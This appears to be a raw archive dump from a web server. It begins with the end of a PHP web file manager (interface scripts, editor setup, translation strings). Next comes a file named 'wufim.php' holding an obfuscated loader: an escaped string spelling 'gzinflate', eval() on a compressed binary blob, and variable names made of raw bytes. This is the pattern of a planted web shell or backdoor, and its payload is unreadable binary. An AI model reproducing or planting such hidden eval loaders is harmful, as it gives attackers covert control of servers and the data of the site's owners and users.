                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
            }
        }
    }
    //Check latest version
    function latest_release_info(v) {
        if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
        $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    //Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    //Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    //Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    //search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    //on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);


    // Dom Ready Event
    $(document).ready( function () {
        //load config
        fm_get_config();
        //dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
            mainTable = $('#main-table').DataTable({"paging":   false, "info":     false, "columnDefs": [{"targets": _targets, "orderable": false}]
        });
        //search
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): 
        $ext = "javascript";
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.1/ace.js"></script>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    } else if(editorOption == "help") {
                        var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue)); 
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Show image
 * @param string $img
 */
function fm_show_image($img)
{
    $modified_time = gmdate('D, d M Y 00:00:00') . ' GMT';
    $expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT';

    $img = trim($img);
    $images = fm_get_images();
    $image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';
    if (isset($images[$img])) {
        $image = $images[$img];
    }
    $image = base64_decode($image);
    if (function_exists('mb_strlen')) {
        $size = mb_strlen($image, '8bit');
    } else {
        $size = strlen($image);
    }

    if (function_exists('header_remove')) {
        header_remove('Cache-Control');
        header_remove('Pragma');
    } else {
        header('Cache-Control:');
        header('Pragma:');
    }

    header('Last-Modified: ' . $modified_time, true, 200);
    header('Expires: ' . $expires_time);
    header('Content-Length: ' . $size);
    header('Content-Type: image/png');
    echo $image;

    exit;
}


/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr['en']['AppName']        = 'Tiny File Manager';      $tr['en']['AppTitle']           = 'File Manager';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['RememberMe']     = 'Remember Me';            $tr['en']['Actions']            = 'Actions';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';
    $tr['en']['MemoryUsed']     = 'Memory used';            $tr['en']['PartitionSize']      = 'Partition size';
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Full size']      = 'Full size';              $tr['en']['Help']               = 'Help';
    $tr['en']['Free of']        = 'Free of';                $tr['en']['Preview']            = 'Preview';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';
    $tr['en']['FreeOf']         = 'free of';                $tr['en']['CalculateFolderSize']= 'Calculate folder size';
    $tr['en']['ProcessID']      = 'Process ID';             $tr['en']['Created']    = 'Created';
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['You are logged in']    = 'You are logged in'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    
    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
    else return "$txt";
}

/**
 * Get base64-encoded images
 * @return array
 */
function fm_get_images()
{
    return array(
        'favicon' => 'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ
        RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n
        /ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ
        QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA=='
    );
}

?>
wufim.php000064400000277147151550413350006430 0ustar00<?php
/**
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⡿⢿⡿⠿⠿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⣿⣿
⣿⣿⣿⣿⠿⠿⢿⣿⣿⠟⣋⣭⣶⣶⣞⣿⣶⣶⣶⣬⣉⠻⣿⣿⡿⣋⣉⠻⣿⣿⣿
⣿⢻⣿⠃⣤⣤⣢⣍⣴⣿⢋⣵⣿⣿⣿⣿⣷⣶⣝⣿⣿⣧⣄⢉⣜⣥⣜⢷⢹⢇⢛
⡏⡦⡁⡸⢛⡴⢣⣾⢟⣿⣿⣿⢟⣾⣧⣙⢿⣿⣿⣿⣿⣿⣿⣿⢩⢳⣞⢿⡏⢷⣾
⣷⣵⡇⣗⡾⢁⣾⣟⣾⣿⡿⣻⣾⣿⣿⣿⡎⠛⡛⢿⣿⡟⣿⣿⡜⡜⢿⡌⠇⢾⣿
⣿⣿⠁⣾⠏⣾⣿⣿⣽⣑⣺⣥⣿⣿⣿⣿⣷⣶⣦⣖⢝⢿⣿⣿⣿⡀⠹⣿⣼⢸⣿
⣿⣿⢰⡏⢡⣿⣿⠐⣵⠿⠛⠛⣿⣿⣿⣿⣿⠍⠚⢙⠻⢦⣼⣿⣿⠁⣄⣿⣿⠘⣿
⣿⣿⢸⢹⢈⣿⣿⠘⣡⡞⠉⡀⢻⣿⣿⣿⣿⢃⠠⢈⢳⣌⣩⣿⣿⠰⠿⢼⣿⠀⣿
⣿⠿⣘⠯⠌⡟⣿⡟⣾⣇⢾⡵⣹⣟⣿⣿⣿⣮⣓⣫⣿⣟⢿⣿⢿⡾⡹⢆⣦⣤⢹
⣅⣛⠶⠽⣧⣋⠳⡓⢿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣫⣸⠏⡋⠷⣛⣫⡍⣶⣿
⣿⡿⢸⢳⣶⣶⠀⡇⣬⡛⠿⣿⣿⣿⣿⣿⣿⣿⠿⢟⣉⣕⡭⠀⢺⣸⣽⢻⡅⣿⣿
⣿⡇⣾⡾⣰⡯⠀⡗⣯⣿⣽⡶⠶⠂⢠⣾⣿⠐⠚⠻⢯⣿⠇⠎⡀⣳⣿⣼⡃⣿⣿
⣿⡇⣟⣇⡟⣧⠀⡗⣿⣿⡿⢡⢖⣀⠼⢟⣻⣤⣔⢦⢸⣿⢀⢆⢡⣿⣯⢹⡃⣿⣿
⣿⡇⡏⣿⡾⣸⣿⣇⠸⠟⣋⣼⣼⣿⢻⣿⣿⢿⣟⢾⣌⠫⠈⣶⣿⡿⣩⡿⢃⣿⣿
⣿⣷⡀⠻⡷⢪⢧⡙⠰⣾⣿⣿⣾⡽⣾⣿⡿⣺⣵⣾⣿⡇⡜⣽⠟⢷⣪⣴⣿⣿⣿
⣿⣿⣿⣾⣿⠏⣤⡁⣷⣽⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣱⠸⣱⣦⠙⣿⣿⣿⣾⣿
**/
$sokaki = "\xb9\132\232\x66\155\250\145\156\x72\x6c\x5f\x87\245\xf2\6\310\134\x86\x9b\x2\x77\321\x12\xb5\x9f\xfc\24";

if (function_exists("user_super")) {
	pcntl_signal(senia, berika);
	pcntl_signal(larva, berika);
	pcntl_signal(mojika, berika);
	pcntl_signal(matisu, berika);
}

eval(("\147\172\151\x6e\146\154\x61\164\145")("���OSQ���•{77�\$}<p�	��w&	�VHHIZp�!AJ)�-,PZmi��L“y(C  D-��R�2|�`twn�����s�	�Žv��&�&�P��U�f��9�ͪ]uAk���H�sK<��Ζ���]�v��m�:<+w�(i�A����*�{)����8sĮ���8(P�3�zrT@�,8��*�I��@��R�5{B� �uH��s�κ�~bg�J[c��q}����%�xz����
>���ij|����Al����c�R�B�K�m	\"e �M{B�乷-}���!��bqj�|liq��
4�&&��p��y/J���ų۶|[�eG{�kk�G2J�6��O�����2�b��j�m�7��c��NM�6Yc�P_���ɼ�P�am���hA�֐�u��<����&�T�~,m��]v�G��TeM6�Ԕ����6�7糧y�k�{�h�8�n0���kU��z���T5�9��6GU8�:�hr:����i��|X�����c�.]��)�s�eeRWԯ��ߛ�쒂���P�?k��wqX�Ӗ�}�d�t[ぃ��y:�&Vu��aI��j��rB�AJ�� I��}��A�D!;E��
�C���ǂ.A4�I�0��	�q8:h�å(���X!%ƅ��B�Ń%i3:���je=�X�^Y�B�'�ř�e�i��/@н�x��t�uh��� �t���2��wED�1�DAg��H\\8���IwI�!�(,�(�OL��Q 1	�k�§C>�?�� t� �p?�p���c4��,�Qu�@�wI�������v����քK�lM!/5M(@/ғ��T\\�Gv�;�"))xor${"a�����������٩�ߋ������������߽�������������
����τ��챉�۞������ϕ

���掦����������ɰ���„������
������֠����ה������ʰ��
����俌ľ��Ť������ͦ�����¹�˜����������Ю�����ߍ��Ĺ�ΊΑ������Ø�ݶ�����������Ȫ�������Ɍ�����н����ؽ����ރ
���ې����ϸ����䃚��������������	���ê��������������������������
����ݶ�����������޽�
��������������Ʊ�����������
�������و�����ޕ�������	�����
�㘀�ˠͣ喉�����������������������������݌��	��쨐�م˄��������������Թ���������뗝������
Ϭ���������Ä͙
��	�������С��܌��	կ�����������ӯ��
��������Ǖ����������������������������߷���íݿ���������ԛ���������ú	�����Ȱ���ܮ�����͹����좒�ٙ�����ք
�����ⓏŐ����Ҩ��������ޭ������
櫿�������������
�����������˛��ݵ����������	�������Ϩ�"}=_͐��("
�ip�cDRP.")xor/*c�*/${"b�������ƥ�ܜ������Л���㆘�������	��ɴ�Ʈ��Ɔ����������������ڀ������ʿ��ߛ��̬����������
������
Ù����£������
	����������҇���㍖����񌟭�����Ч�������ާ������ޑ��
��������̷��ú����
�㈐������…�������������˜��󢾢�ǵ����ɭ���ʔ�������Ę�����������駗�������Ҳ�Ȣ��������������
����������ˮ���������
�����֛���߂���·�忾�������ο����������������������ȃ����ˏ���򣧒ٳ�����
����������ɯ����������苣�������º����
������ʕ������������ۮ��ص��Й�����ش�Ē��
�������Ź��������Ů���҇����������ز�ؑ������ν����������鉟	����㼂�����΢�ɴݓ�ՍϿ�����������Ն
�����
���ʄ���ʕ������������ȝ�ԍ�Ã�������ȃ������	�����˄�ʏ������׈����������������ݢ���������ҿ������̳�컹�����������������⺬���	�ɵߙ��ǟܠ��۽���ؐ�������������›�"}=_͐��("�8�ɾ7֡_")xor/*c�*/${"d�ǀ���ư���������
�ᥧ��������������������DZ
����ͯ������������ǃ�
�Ɇ�����ž�ݫ��
������
�ͭ������ъ��˿�樋�뫾��������������ͯ����͒�˜�����ֱ��ϵ�����Ѽ��Ҡ�����Ҏ����ڐ������燶�����Й��ՠ�ݞ�	�̇�ֶ		��������澭�
��������
���
��������������⯴���

²��ο�������������Ľ���ۅ�Ɖ���ζ�����侙ʻ�����ٝ���ۈ�������	�ˀ�������Ŷ��섞�Ý��
���̪М������Ĉ��	��������۴����
������ڭ�����ͺ�
������ŖՉ�������ֺ��Ά꛻��
��ěԝ������
����
������ݼ��������嘙��������ּ����Ƀ��踟����ߐ�����	��������􄢳����К�����
���������	������������ш����蓚���
땜��޻������������������������õ��
������ު۹������
�딫ާ����
��ǚ�۷إ��څ��꓋����ְ��ሎ��街
���Є�ɫ��	��Ë���͸���꜡���͍�͋�������������ֱ��������
�nj��������������������ܺ����"}=_͐��("�;q���S3�")xor/*c�*/${"e������	����ʿ���������ϓ��̺�������ɬ�����ΐ����ꜳ�ε�����Ţ�������ۃ����΢��͍�ʎ���Ş������������
�����ņ�����ɴ�͆��ֹ���������������쌕�����Ŷ��������䎫��������
���ԗ�������͝�����ګ�������������
ܖ����΍������������㦵������	�����ݜū�����ϝ���������Χ����������	��֏�ә������Ǎ���̳�����Ⱥ�����������	�⠽����
�����֢���������漾�Α�Ǻ��늍ֆ����В�����←����å꿛��Å��Ҹ�������ް�����������﷋מ꧔̕��
���螞�÷���ʤ�����ʦ�Ɵ��Џ�����ȕ������������Ң�؍��������ͷ�汑�����Ƒ҉�������������Ŗ�ծѮ���������֖�������ڨ�å�Ǿ��ȉ���Ŀ��������Ȁ������ᄋ��Ȥ�
�ђ����ξ�����	���������Ԥ������
�����
����駨�����������������ϕ������
���������ㅁ��������ij
������������������ݣ������̜�ц۪�����մ�������ʬ����������↝����������Ӝ���܇��"}=_͐��("1j��FnIq���")xor/*c�*/${"f������٢ѣ����������¬�����������ݜ����ˇҪ�������������ǖ��������������ꭧ����������ޖ����������玥�����ߏѠ�؞���	
����������ӡ�����ɫ��������ӝ�������������������
���ك�����К��������Íٳ����ح�������������習��遗ĕﭘ��ʋ����е�����蠜�����ֻ���������⏝������Dz��ߪ���������������ɭ�����ݶ�����������쓂ᡩ�
����ޛ�Ȓ欛����׆��߄���ꅉ�
���������	�������
�������������у�������斲��غ������ۿ���Ŏ���ŵ�ϓ������꯴�ɱ����ȋ��Ë������ĭ��Ң����ϖ����˒����������������ŋ�
���
���ֳ��������Փ��屵ԭ	�˹��Պ����������
�������ܶ�Ĵ������Ĕ��
���̨����㝣������ẝ
��𔶦�����ԫ�����Ǫ�ƾÿ
�	�������ے����
���ϐ����������ݘ�����������������
�ޒ����������ŤǦ��������ܕ������ܳ����ܧ�ܕ����҅�Ÿﶗ�����ԁ�乓�������ɉ������"}=_͐��(";�N�g�G�%��")xor/*c�*/${"g�̅��Ϧą���������ӕ�
������ڝ�����ڪ����А�͹�ݠ�́���������Ծ��	�������ǭ�����Է��̏���˫������Յ�ۅ�����	�߶�����������佇�ڬ������׆�Р�����
�
�҂���������
�����ت�	�ԅ����������
����ҹ�������������׽����󋃘��Ϸ̻ꌌ��
ک���ޔ��
ޙ��ڮ�ʸ������	���ןڎ������Ȃ�ӧ�ʽ�����ܸ�������������Һ�����	������ѿ���������������������ƣ��˻���
�à���ɝ����������
���ٓ����򻄧���������
��漕��܉���ν����������ȹ��������仡������������ՠ����	�Ë����������������������ŧ������׵�ɡ󏊜葂�ػ���	����������������
����������¡��ƁҊɦ�����������������Ǘ�������Ó������錍���Ҭ����
����Ĕ��˵��
�ò����ڇ���������ܢ����Ѳ���������ե��	����𫌋�������������􋐤����Ȩ�����䮵��ߩ���Ó����������ˮ��
�����鼈����������꡸��������
񖳞�����є�����Ǯ����½�������������"}=_͐��("E�x�^���h�ҿ�")xor/*c�*/${"0�����끑��
��	���τ��͋�����������В�
